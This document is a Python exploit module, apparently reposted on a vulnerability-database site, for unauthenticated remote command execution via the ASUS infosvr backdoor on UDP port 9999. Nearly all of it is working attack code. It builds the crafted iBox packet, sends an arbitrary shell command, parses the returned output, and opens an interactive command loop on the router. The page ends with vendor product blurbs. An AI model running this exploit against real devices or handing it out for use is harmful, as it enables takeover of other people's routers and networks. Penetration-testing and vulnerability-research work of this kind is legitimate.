Asus Infosvr Backdoor RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Asus Infosvr Backdoor RCE"""
import struct
import time
import socket
from kittysploit import *
from lib.exploit.handler import Handler
class Module(Exploit, Handler):
__info__ = {
'name': 'Asus Infosvr Backdoor RCE',
'description': 'Module exploits remote command execution in multiple ASUS devices. If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.',
'author': ["Joshua 'jduck' Drake; @jduck", 'Friedrich Postelstorfer', 'Michal Bentkowski; @SecurityMB'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://github.com/jduck/asus-cmd'],
'tags': ['iot', 'router', 'rce', 'unauth'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(9999, "Target UDP port")
def execute(self, cmd):
if len(cmd) > 237:
print_error('Your command must be at most 237 characters long. Longer strings might crash the server.')
return
ibox_comm_pkt_hdr_ex = (
pack("<B", 0x0c) + # NET_SERVICE_ID_IBOX_INFO 0xC
pack("<B", 0x15) + # NET_PACKET_TYPE_CMD 0x15
pack("<H", 0x33) + # NET_CMD_ID_MANU_CMD 0x33
bytes(self.random_text(4), "utf-8") + # INFO
bytes(self.random_text(6), "utf-8") + # MAC Address
bytes(self.random_text(32), "utf-8") # Password
)
cmd = bytes(cmd, "utf-8") + pack("<B", 0x00)
pkt_syscmd = (
pack("<H", len(cmd)) +
cmd
)
payload = ibox_comm_pkt_hdr_ex + pkt_syscmd + bytes(self.random_text(512 - len(ibox_comm_pkt_hdr_ex + pkt_syscmd)), "utf-8")
udp_client = _udp_socket(self)
udp_client.send(payload)
response = udp_client.recv(512)
udp_client.close()
if response and len(response) == 512:
length = unpack('<H', response[14:16])[0]
return str(response[16: 16 + length], "utf-8")
return ""
def check(self):
NUM_CHECKS = 5 # we try 5 times because the exploit tends to be unstable
for _ in range(NUM_CHECKS):
random_value = self.random_text(32)
cmd = "echo {}".format(random_value)
retval = self.execute(cmd)
if random_value in retval:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"} # target is vulnerable
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
6.1Medium risk
Vulners AI Score6.1